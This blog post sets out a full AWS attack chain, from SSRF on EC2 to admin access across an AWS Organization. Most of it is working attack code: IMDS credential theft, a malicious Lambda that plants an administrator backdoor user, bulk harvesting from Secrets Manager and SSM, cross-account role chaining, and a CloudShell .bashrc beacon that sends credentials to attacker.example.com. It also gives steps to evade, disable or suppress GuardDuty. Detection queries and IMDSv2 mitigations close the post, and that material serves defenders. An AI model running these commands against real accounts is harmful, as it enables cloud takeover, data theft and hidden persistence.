TL;DR — A single compromised EC2 instance can serve as a launchpad to pivot through S3, Lambda, RDS, ECS/EKS, SSM Parameter Store, and ultimately across an entire AWS Organization. This post traces a complete attack chain from initial EC2 SSRF to full organization administrative access, covering credential theft via IMDS, cross-service lateral movement, CloudShell persistence, and GuardDuty bypass techniques.
Executive Summary
Cloud lateral movement is fundamentally different from on-premises network pivoting. Rather than hopping between IP addresses, cloud attackers traverse IAM permission graphs, moving from identity to identity by exploiting trust relationships, over-privileged service roles, and credential material stored in misconfigured services. A compromised EC2 instance with an attached IAM role is not just a single server — it is an authenticated AWS identity with potentially vast permissions across dozens of services.
This post constructs a realistic end-to-end attack chain. The scenario begins with an SSRF vulnerability in a web application running on EC2, progresses through credential theft from IMDS, lateral movement to S3, Lambda, RDS, ECS, and Kubernetes, credential discovery in SSM Parameter Store and Secrets Manager, and culminates in cross-account role chaining to achieve full AWS Organization administrative access. Each step includes concrete commands, detection notes, and operational security considerations.
Stage 0: Initial Compromise — EC2 SSRF to IMDS
The attack begins with an SSRF vulnerability in a web application. The target is the EC2 Instance Metadata Service.
IMDSv1 Credential Theft
IMDSv1 requires no authentication — any HTTP request from the instance (or via SSRF) to 169.254.169.254 returns metadata.
# From attacker-controlled SSRF endpoint, craft request to IMDS# Target URL: http://vulnerable-app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ # Step 1: Get role namecurl "http://vulnerable-app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"# Response: WebAppRole # Step 2: Get credentialscurl "http://vulnerable-app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole"Response:
{ "Code": "Success", "Type": "AWS-HMAC", "AccessKeyId": "ASIA5EXAMPLE12345", "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", "Token": "IQoJb3JpZ2luX2VjEJr//////////wEaCXVzLWVhc3QtMQ...", "Expiration": "2024-01-15T18:30:00Z"}IMDSv2 SSRF Bypass
IMDSv2 requires a PUT request with a TTL header to obtain a session token before any metadata requests. For SSRF exploitation, the attacker needs a server-side technology that supports arbitrary HTTP methods.
# For IMDSv2, first obtain the token via PUT# Some SSRF vectors support custom HTTP methods and headers # Using a redirect-based SSRF bypass:# 1. Attacker controls a redirect server# 2. SSRF follows redirect to IMDS PUT endpoint # Alternatively, exploit applications using requests libraries that follow redirects# Python requests: supports arbitrary methods, can be tricked via 307 redirect to PUT # If you have code execution on the instance itself:TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ "http://169.254.169.254/latest/meta-data/iam/security-credentials/") curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"Credential Persistence
Stolen IMDS credentials expire within 6 hours. To persist access, an attacker creates long-lived IAM access keys if they have the iam:CreateAccessKey permission.
# Configure stolen credentials locallyexport AWS_ACCESS_KEY_ID="ASIA5EXAMPLE12345"export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2..." # Verify identityaws sts get-caller-identity# Returns: Account, UserId, ARN of the WebAppRole # Create persistent credentials if iam:CreateUser and iam:CreateAccessKey are availableaws iam create-user --user-name svc-monitoraws iam attach-user-policy \ --user-name svc-monitor \ --policy-arn arn:aws:iam::aws:policy/ReadOnlyAccessaws iam create-access-key --user-name svc-monitorStage 1: EC2 → S3 Lateral Movement
S3 is the most commonly targeted service after initial EC2 compromise because it frequently contains credential material, configuration files, deployment artifacts, and sensitive business data.
# Enumerate all bucketsaws s3 ls # For each bucket, attempt to list contentsaws s3 ls s3://company-deployments/ --recursiveaws s3 ls s3://company-backups/ --recursiveaws s3 ls s3://company-terraform-state/ --recursiveHigh-Value S3 Targets
# Terraform state files — contain all infrastructure details, often including secretsaws s3 cp s3://company-terraform-state/prod/terraform.tfstate /tmp/cat /tmp/terraform.tfstate | python3 -c "import json,sysstate = json.load(sys.stdin)for resource in state.get('resources', []): for instance in resource.get('instances', []): attrs = instance.get('attributes', {}) # Look for password, secret, key fields for k, v in attrs.items(): if any(word in k.lower() for word in ['password','secret','key','token','credential']): print(f'{resource[\"name\"]}.{k} = {str(v)[:100]}')" # Application config filesaws s3 cp s3://company-deployments/config/production.env /tmp/aws s3 cp s3://company-backups/database/credentials.json /tmp/ # CI/CD artifactsaws s3 ls s3://company-builds/ --recursive | grep -E "\.(env|config|yaml|json)$"Stage 2: EC2 → Lambda Lateral Movement
Lambda functions frequently hold execution roles with broader permissions than the EC2 role. Finding an overprivileged Lambda and invoking it — or modifying its code — extends the attacker's reach.
# Enumerate all Lambda functionsaws lambda list-functions --query 'Functions[*].[FunctionName,Role]' --output table # Check the execution role of a Lambda functionLAMBDA_ROLE=$(aws lambda get-function-configuration \ --function-name ProcessPayments \ --query 'Role' --output text) # Get the policies attached to that roleaws iam list-attached-role-policies \ --role-name $(basename $LAMBDA_ROLE) \ --query 'AttachedPolicies[*].PolicyArn' # Inject malicious code via environment variable (if UpdateFunctionConfiguration is available)aws lambda update-function-configuration \ --function-name ProcessPayments \ --environment "Variables={MALICIOUS_CMD=whoami,LD_PRELOAD=/tmp/evil.so}" # Update function code directly to execute arbitrary commandscat > /tmp/malicious_lambda.py << 'EOF'import boto3, os, json def handler(event, context): iam = boto3.client('iam') # Create backdoor admin user from within Lambda's high-privilege role iam.create_user(UserName='lambda-backdoor') iam.attach_user_policy( UserName='lambda-backdoor', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) key = iam.create_access_key(UserName='lambda-backdoor') return key['AccessKey']EOF cd /tmp && zip malicious_lambda.zip malicious_lambda.pyaws lambda update-function-code \ --function-name ProcessPayments \ --zip-file fileb:///tmp/malicious_lambda.zip aws lambda invoke \ --function-name ProcessPayments \ --payload '{}' \ /tmp/lambda_output.json cat /tmp/lambda_output.jsonStage 3: EC2 → RDS Lateral Movement
With S3 credentials or SSM Parameter Store access, finding RDS connection strings and reusing credentials is a high-yield pivot.
# Enumerate RDS instancesaws rds describe-db-instances \ --query 'DBInstances[*].[DBInstanceIdentifier,Endpoint.Address,DBName,MasterUsername]' \ --output table # Check if RDS is publicly accessibleaws rds describe-db-instances \ --query 'DBInstances[?PubliclyAccessible==`true`].[DBInstanceIdentifier,Endpoint.Address]' # Enumerate SSM Parameter Store for database credentialsaws ssm describe-parameters \ --query 'Parameters[*].[Name,Type]' \ --output table # Get specific parameters (SecureString parameters are decrypted automatically with kms:Decrypt)aws ssm get-parameter --name "/prod/database/password" --with-decryptionaws ssm get-parameter --name "/prod/database/connection_string" --with-decryption # Get all parameters in a path at onceaws ssm get-parameters-by-path \ --path "/prod" \ --recursive \ --with-decryption \ --query 'Parameters[*].[Name,Value]'Stage 4: EC2 → ECS/EKS Lateral Movement
ECS Container Metadata
ECS tasks have their own metadata endpoint at 169.254.170.2. The container credentials endpoint returns temporary credentials for the task's IAM role.
# From within an ECS container, retrieve task role credentials# The AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var points to the endpointcurl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI # Enumerate ECS clusters and tasksaws ecs list-clustersaws ecs list-tasks --cluster prod-clusteraws ecs describe-tasks \ --cluster prod-cluster \ --tasks $(aws ecs list-tasks --cluster prod-cluster --query 'taskArns[*]' --output text)EKS Node IAM Role Abuse
EKS worker nodes are EC2 instances with an IAM role. By default, all pods on a node can access the node's IMDS and steal the node's IAM role credentials — unless IMDS access is blocked at the pod level or IRSA (IAM Roles for Service Accounts) is enforced.
# From within a pod, steal the node's IAM role credentialscurl http://169.254.169.254/latest/meta-data/iam/security-credentials/ # If the node role has cluster-admin equivalent permissions:# DescribeCluster to get the API server endpoint and CA certificateaws eks describe-cluster --name prod-cluster \ --query 'cluster.[endpoint,certificateAuthority.data,name]' # Update kubeconfig using the node's credentialsaws eks update-kubeconfig --name prod-cluster --region us-east-1 # If node role has system:masters bindingkubectl get pods --all-namespaceskubectl get secrets --all-namespaceskubectl create clusterrolebinding backdoor \ --clusterrole=cluster-admin \ --serviceaccount=default:attacker-saStage 5: SSM Parameter Store and Secrets Manager Enumeration
# Enumerate Secrets Manageraws secretsmanager list-secrets \ --query 'SecretList[*].[Name,Description,LastChangedDate]' \ --output table # Retrieve secret valuesaws secretsmanager get-secret-value \ --secret-id prod/rds/masterpassword \ --query 'SecretString' aws secretsmanager get-secret-value \ --secret-id prod/api/stripe_key \ --query 'SecretString' # Batch enumerate all secretsaws secretsmanager list-secrets --query 'SecretList[*].Name' --output text | \ tr '\t' '\n' | while read secret; do echo "=== $secret ===" aws secretsmanager get-secret-value \ --secret-id "$secret" \ --query 'SecretString' \ --output text 2>/dev/null || echo "[!] Access denied or no string value" doneimport boto3 def harvest_secrets(region='us-east-1'): """Enumerate and retrieve all accessible secrets from Secrets Manager and SSM.""" secrets_client = boto3.client('secretsmanager', region_name=region) ssm_client = boto3.client('ssm', region_name=region) harvested = {} # Secrets Manager paginator = secrets_client.get_paginator('list_secrets') for page in paginator.paginate(): for secret in page['SecretList']: name = secret['Name'] try: response = secrets_client.get_secret_value(SecretId=name) harvested[f"secretsmanager/{name}"] = response.get('SecretString') or \ response.get('SecretBinary', b'').decode() except Exception as e: harvested[f"secretsmanager/{name}"] = f"[ERROR: {e}]" # SSM Parameter Store paginator = ssm_client.get_paginator('describe_parameters') for page in paginator.paginate(): for param in page['Parameters']: name = param['Name'] try: response = ssm_client.get_parameter(Name=name, WithDecryption=True) harvested[f"ssm/{name}"] = response['Parameter']['Value'] except Exception as e: harvested[f"ssm/{name}"] = f"[ERROR: {e}]" return harvested secrets = harvest_secrets()for k, v in secrets.items(): print(f"{k}: {str(v)[:200]}")Stage 6: Cross-Account Role Chaining
Finding Cross-Account Roles
# List all roles and look for external account ARNs in trust policiesaws iam list-roles | python3 -c "import json, sysroles = json.load(sys.stdin)['Roles']for role in roles: trust = json.dumps(role['AssumeRolePolicyDocument']) if 'sts:AssumeRole' in trust: principals = [] for stmt in role['AssumeRolePolicyDocument']['Statement']: p = stmt.get('Principal', {}) if isinstance(p, dict): principals.extend(p.get('AWS', [])) elif isinstance(p, str) and p != '*': principals.append(p) external = [p for p in principals if ':root' in p or ':role/' in p] if external: print(f\"Role: {role['RoleName']}\") for p in external: print(f\" Trusts: {p}\")"Cross-Account Pivot Chain
# Step 1: Current account (123456789012) - WebAppRoleaws sts get-caller-identity # Step 2: Enumerate cross-account roles this identity can assume# Look for DevOps/Admin roles that trust this account # Step 3: Assume shared-services account role (555555555555)CREDS=$(aws sts assume-role \ --role-arn arn:aws:iam::555555555555:role/CrossAccountDeployRole \ --role-session-name pivot-to-shared-services) export AWS_ACCESS_KEY_ID=$(echo $CREDS | python3 -c "import json,sys; c=json.load(sys.stdin)['Credentials']; print(c['AccessKeyId'])")export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | python3 -c "import json,sys; c=json.load(sys.stdin)['Credentials']; print(c['SecretAccessKey'])")export AWS_SESSION_TOKEN=$(echo $CREDS | python3 -c "import json,sys; c=json.load(sys.stdin)['Credentials']; print(c['SessionToken'])") # Step 4: From shared-services, assume management account roleaws sts assume-role \ --role-arn arn:aws:iam::000000000000:role/OrganizationAccountAccessRole \ --role-session-name org-admin-pivotFull Attack Chain Diagram
flowchart TD
A["Attacker\n(External)"] -->|SSRF to IMDS| B["EC2 Instance\n(WebAppRole)"]
B -->|Stolen credentials| C{"Permission\nEnumeration"}
C -->|s3:ListBuckets, s3:GetObject| D["S3 Buckets\nCredential files\nTF state\n.env files"]
C -->|lambda:ListFunctions| E["Lambda Functions\n(Higher privilege role)"]
C -->|rds:DescribeDBInstances| F["RDS Endpoint Discovery"]
C -->|ecs:ListTasks / EKS IMDS| G["ECS/EKS\nContainer Roles"]
C -->|ssm:GetParameter| H["SSM Parameter Store\nSecrets Manager"]
D -->|Credentials found| I["DB passwords\nAPI keys\nAWS keys"]
E -->|InvokeFunction / UpdateCode| J["Lambda Privesc\nAdmin role execution"]
F --> I
G -->|Node IMDS theft| I
H --> I
I -->|iam:CreateUser or role found| K["New Admin Identity\nor Cross-Acct Role"]
J --> K
K -->|sts:AssumeRole| L["Account B\n(555555555555)"]
L -->|sts:AssumeRole| M["Management Account\n(000000000000)\nOrganizationAccountAccessRole"]
M -->|Full Org Admin| N["All Member Accounts\nFull Administrative Access"]
style A fill:#d32f2f,color:#fff
style M fill:#1565c0,color:#fff
style N fill:#1b5e20,color:#fffAWS CloudShell Persistence
AWS CloudShell provides a browser-based shell with credentials derived from the logged-in IAM identity. If an attacker can reach the AWS console (via stolen credentials with console access), CloudShell offers a persistent execution environment.
# CloudShell persists files in $HOME across sessions (~1GB storage)# Plant a persistence mechanism in CloudShell # ~/.bashrc modification for credential exfiltrationcat >> ~/.bashrc << 'EOF'# Silent credential beaconaws sts get-caller-identity 2>/dev/null | \ curl -s -X POST https://attacker.example.com/beacon \ -H "Content-Type: application/json" \ -d @- &>/dev/null &EOF # Store persistent backdoor scriptcat > ~/maintain.sh << 'EOF'#!/bin/bash# Re-create backdoor user if deletedaws iam create-user --user-name svc-health 2>/dev/nullaws iam attach-user-policy \ --user-name svc-health \ --policy-arn arn:aws:iam::aws:policy/AdministratorAccess 2>/dev/nullKEYS=$(aws iam list-access-keys --user-name svc-health \ --query 'AccessKeyMetadata[*].AccessKeyId' --output text)if [ -z "$KEYS" ]; then aws iam create-access-key --user-name svc-health > ~/keys.jsonfiEOFchmod +x ~/maintain.shGuardDuty Bypass and Evasion
GuardDuty monitors CloudTrail, VPC Flow Logs, and DNS logs for threat indicators. Certain actions trigger findings that defensive teams will investigate.
High-Risk GuardDuty Findings to Avoid
| Finding Type | Trigger | Evasion |
|---|---|---|
UnauthorizedAccess:IAMUser/TorIPCaller | Calls from Tor exit nodes | Use residential proxies |
UnauthorizedAccess:IAMUser/ConsoleLoginSuccess.B | Console login from unusual IP | Use known IP ranges |
Recon:IAMUser/MaliciousIPCaller | API calls from known threat IPs | Avoid blacklisted IPs |
PrivilegeEscalation:IAMUser/AdministrativePermissions | Suspicious IAM modifications | Spread actions over time |
Stealth:IAMUser/CloudTrailLoggingDisabled | Disabling CloudTrail | Don't disable CloudTrail |
Impact:IAMUser/AnomalousBehavior | Unusual high-volume API calls | Throttle requests |
Disabling GuardDuty (Requires iam: or guardduty:)
# List GuardDuty detectorsaws guardduty list-detectors DETECTOR_ID=$(aws guardduty list-detectors \ --query 'DetectorIds[0]' --output text) # Disable GuardDuty (generates a CloudTrail event — use with caution)aws guardduty update-detector \ --detector-id "$DETECTOR_ID" \ --no-enable # Delete GuardDuty detector entirelyaws guardduty delete-detector --detector-id "$DETECTOR_ID" # Suppress specific findings by creating suppression rulesaws guardduty create-filter \ --detector-id "$DETECTOR_ID" \ --name "SuppressOwnIAMUser" \ --action ARCHIVE \ --finding-criteria '{ "Criterion": { "resource.accessKeyDetails.userName": { "Equals": ["compromised-user"] } } }'Detection: CloudTrail Behavioral Analysis
sequenceDiagram
participant EC2 as EC2 Instance
participant IMDS as IMDS (169.254.169.254)
participant CTrail as CloudTrail
participant GDuty as GuardDuty
participant SIEM as Security Team
EC2->>IMDS: GET /latest/meta-data/iam/security-credentials/
Note over IMDS: Not logged in CloudTrail
EC2->>IMDS: GET credentials/WebAppRole
Note over IMDS: Not logged in CloudTrail
EC2->>AWS: API calls with IMDS credentials
AWS->>CTrail: Log all API events
CTrail->>GDuty: Stream events for analysis
GDuty->>GDuty: Detect unusual patterns:\n- New regions\n- Sensitive API calls\n- Anomalous volume
GDuty->>SIEM: Generate Finding
SIEM->>SIEM: Alert: PrivilegeEscalation/\nUnauthorizedAccessKey Detection Queries (CloudTrail + Athena)
-- Detect lateral movement: cross-service API calls from EC2 roleSELECT eventtime, useridentity.sessioncontext.sessionissuer.arn as assumed_role, eventsource, eventname, sourceipaddress, useragentFROM cloudtrail_logsWHERE eventtime > date_add('hour', -24, now()) AND useridentity.type = 'AssumedRole' AND useridentity.sessioncontext.sessionissuer.type = 'Role' AND useridentity.sessioncontext.sessionissuer.arn LIKE '%WebAppRole%' AND eventsource != 'sts.amazonaws.com'ORDER BY eventtime; -- Detect cross-account role assumptionsSELECT eventtime, useridentity.arn as source_identity, requestparameters.roleArn as target_role, sourceipaddressFROM cloudtrail_logsWHERE eventname = 'AssumeRole' AND requestparameters.roleArn NOT LIKE concat('%', account_id, '%') AND eventtime > date_add('day', -7, now())ORDER BY eventtime DESC; -- Detect Secrets Manager bulk enumerationSELECT useridentity.arn, COUNT(*) as api_call_count, COUNT(DISTINCT requestparameters.secretId) as unique_secretsFROM cloudtrail_logsWHERE eventsource = 'secretsmanager.amazonaws.com' AND eventname = 'GetSecretValue' AND eventtime > date_add('hour', -1, now())GROUP BY useridentity.arnHAVING COUNT(*) > 10ORDER BY api_call_count DESC;Detection and Mitigation
Require IMDSv2 on All EC2 Instances
# Enforce IMDSv2 when launching new instancesaws ec2 run-instances \ --image-id ami-12345678 \ --instance-type t3.medium \ --metadata-options "HttpTokens=required,HttpPutResponseHopLimit=1" # Enforce IMDSv2 on existing instancesaws ec2 modify-instance-metadata-options \ --instance-id i-1234567890abcdef0 \ --http-tokens required \ --http-put-response-hop-limit 1 # SCP to prevent IMDSv1 at the organization levelcat > prevent_imdsv1.json << 'EOF'{ "Version": "2012-10-17", "Statement": [{ "Sid": "RequireIMDSv2", "Effect": "Deny", "Action": "ec2:RunInstances", "Resource": "arn:aws:ec2:*:*:instance/*", "Condition": { "StringNotEquals": { "ec2:MetadataHttpTokens": "required" } } }]}EOFTerraform: Enforce IMDSv2 and Instance Profile Scope
resource "aws_instance" "web" { ami = var.ami_id instance_type = "t3.medium" iam_instance_profile = aws_iam_instance_profile.web_profile.name metadata_options { http_tokens = "required" http_put_response_hop_limit = 1 instance_metadata_tags = "enabled" } tags = { Environment = "production" }} resource "aws_iam_role_policy" "web_app_policy" { name = "web-app-minimal-policy" role = aws_iam_role.web_role.id # Restrict to specific S3 paths only — not all buckets policy = jsonencode({ Version = "2012-10-17" Statement = [ { Effect = "Allow" Action = ["s3:GetObject"] Resource = "arn:aws:s3:::company-assets/public/*" }, { Effect = "Allow" Action = ["secretsmanager:GetSecretValue"] Resource = "arn:aws:secretsmanager:us-east-1:123456789012:secret:prod/webapp/*" } ] })}AWS Security Hub Integration
# Enable Security Hub for centralized findingsaws securityhub enable-security-hub --enable-default-standards # Enable GuardDuty across all organization accountsaws guardduty create-members \ --detector-id "$DETECTOR_ID" \ --account-details '[{"AccountId":"111111111111","Email":"account1@example.com"}]' aws organizations enable-aws-service-access \ --service-principal guardduty.amazonaws.comConclusion
The attack chain traced in this post — from SSRF on an EC2 instance to full AWS Organization administrative access — is not a hypothetical scenario. Variations of this chain appear in real-world breach reports, AWS security advisories, and red team engagement findings across industries.
The core enablers are predictable: IMDSv1 remaining active, EC2 roles with excessive permissions, credential material stored in S3 or SSM without appropriate access controls, and cross-account roles configured for convenience rather than security. GuardDuty and CloudTrail provide visibility, but they are not preventive controls — they detect attacks after credentials have been stolen and lateral movement has begun.
Effective defense requires enforcing IMDSv2 universally, applying least-privilege IAM policies to every service role, treating SSM Parameter Store and Secrets Manager access as privileged operations, and implementing AWS Organizations SCPs that constrain even compromised administrator-level identities. The goal is to ensure that compromising a single EC2 instance never translates into compromising the entire organization.